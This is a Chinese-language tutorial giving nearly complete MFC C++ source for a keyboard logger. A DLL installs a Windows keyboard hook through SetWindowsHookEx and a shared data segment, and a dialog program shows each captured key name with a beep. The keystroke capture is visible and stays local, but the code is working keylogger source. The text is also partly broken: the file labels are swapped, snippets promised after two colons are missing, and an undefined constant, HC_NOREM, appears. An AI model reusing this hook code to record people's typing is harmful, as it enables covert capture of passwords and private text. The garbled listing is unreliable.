C++鍵盤記錄程序代碼
本文實(shí)例講述了C++鍵盤記錄程序。分享給大家供大家參考。具體分析如下:
主程序如下:
就是基于對(duì)話框的框架,加個(gè)個(gè)OnHookKey函數(shù),
{
char szKey[80]={0};
GetKeyNameText(lParam, szKey, 80);
CString strItem;
strItem.Format("按鍵:%s\r\n", szKey);
CString strEdit;
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
::MessageBeep(MB_OK);
return 0;
}
在初始化時(shí),調(diào)用DLL中的:
在析構(gòu)時(shí),調(diào)用DLL中的:
.cpp源文件代碼:
#define HM_KEY WM_USER+100
//CMyApp
class CMyApp:public CWinApp
{
public:
BOOL InitInstance();
};
//CMyDialog
class CMainDialog:public CDialog
{
public:
CMainDialog(CWnd* pParentWnd = NULL);
protected:
virtual BOOL OnInitDialog( );
afx_msg void OnCancel();
afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //處理自定義消息的聲明
DECLARE_MESSAGE_MAP()
};
.h頭文件代碼:
#include "KeyHookApp.h"
#include "KeyHook.h"
#pragma comment(lib,"KeyHook.lib")
CMyApp theApp;
BOOL CMyApp::InitInstance()
{
CMainDialog dlg;
m_pMainWnd = &dlg; //給m_pMainWnd 主窗口
dlg.DoModal();
return FALSE; //不進(jìn)入消息循環(huán)
}
BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
ON_MESSAGE(HM_KEY, OnHookKey) //自定義消息
END_MESSAGE_MAP()
//CMainDialog
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)
{
}
BOOL CMainDialog::OnInitDialog( )
{
CDialog::OnInitDialog();
if (!SetKeyHook(TRUE, 0, m_hWnd))
{
MessageBox("安裝鉤子失敗");
}
return TRUE;
}
//處理關(guān)閉消息
void CMainDialog::OnCancel()
{
OutputDebugString("oncancel");
SetKeyHook(FALSE);
CDialog::OnCancel();
return;
}
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //處理自定義消息
{
char szKey[80]={0};
GetKeyNameText(lParam, szKey, 80);
CString strItem;
strItem.Format("按鍵:%s\r\n", szKey);
CString strEdit;
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
::MessageBeep(MB_OK);
return 0;
}
dll的代碼:
.cpp源文件代碼:
//
#include "stdafx.h"
#include "KeyHook.h"
//共享數(shù)據(jù)段
#pragma data_seg("YCIShared")
HWND g_hWndCaller=NULL; //保存主窗口句柄
HHOOK g_hHook = NULL; //保存鉤子句柄
#pragma data_seg()
// 這是導(dǎo)出變量的一個(gè)示例
KEYHOOK_API int nKeyHook=0;
// 這是導(dǎo)出函數(shù)的一個(gè)示例。
KEYHOOK_API int fnKeyHook(void)
{
return 42;
}
//通過內(nèi)存得到模塊句柄的幫助函數(shù)
HMODULE WINAPI ModuleFromAddress(LPVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
//鉤子處理函數(shù)
LRESULT CALLBACK KeyboardProc(
__in int code,
__in WPARAM wParam,
__in LPARAM lParam
)
{
if (code<0||code==HC_NOREM)
{
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
}
//如果重復(fù)消息,交給下一鏈
if (lParam & 0x40000000)
{
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
}
//通知主窗口
::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
}
//安裝和卸載鉤子函數(shù)
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bRet = TRUE;
g_hWndCaller = hWndCaller;
if (bInstall) //安裝鉤子
{
g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);
bRet = (g_hHook != NULL);
}
else //卸載鉤子
{
::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bRet;
}
// 這是已導(dǎo)出類的構(gòu)造函數(shù)。
// 有關(guān)類定義的信息,請(qǐng)參閱 KeyHook.h
CKeyHook::CKeyHook()
{
return;
}
.h頭文件代碼:
// 宏的標(biāo)準(zhǔn)方法。此 DLL 中的所有文件都是用命令行上定義的 KEYHOOK_EXPORTS
// 符號(hào)編譯的。在使用此 DLL 的
// 任何其他項(xiàng)目上不應(yīng)定義此符號(hào)。這樣,源文件中包含此文件的任何其他項(xiàng)目都會(huì)將
// KEYHOOK_API 函數(shù)視為是從 DLL 導(dǎo)入的,而此 DLL 則將用此宏定義的
// 符號(hào)視為是被導(dǎo)出的。
#ifdef KEYHOOK_EXPORTS
#define KEYHOOK_API __declspec(dllexport)
#else
#define KEYHOOK_API __declspec(dllimport)
#endif
#define HM_KEY WM_USER + 100
// 此類是從 KeyHook.dll 導(dǎo)出的
class KEYHOOK_API CKeyHook {
public:
CKeyHook(void);
// TODO: 在此添加您的方法。
};
extern KEYHOOK_API int nKeyHook;
KEYHOOK_API int fnKeyHook(void);
//聲明要導(dǎo)出的
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
.def代碼:
SetKeyHook
SECTIONS
YCIShared Read Write Shared
希望本文所述對(duì)大家的C++程序設(shè)計(jì)有所幫助。
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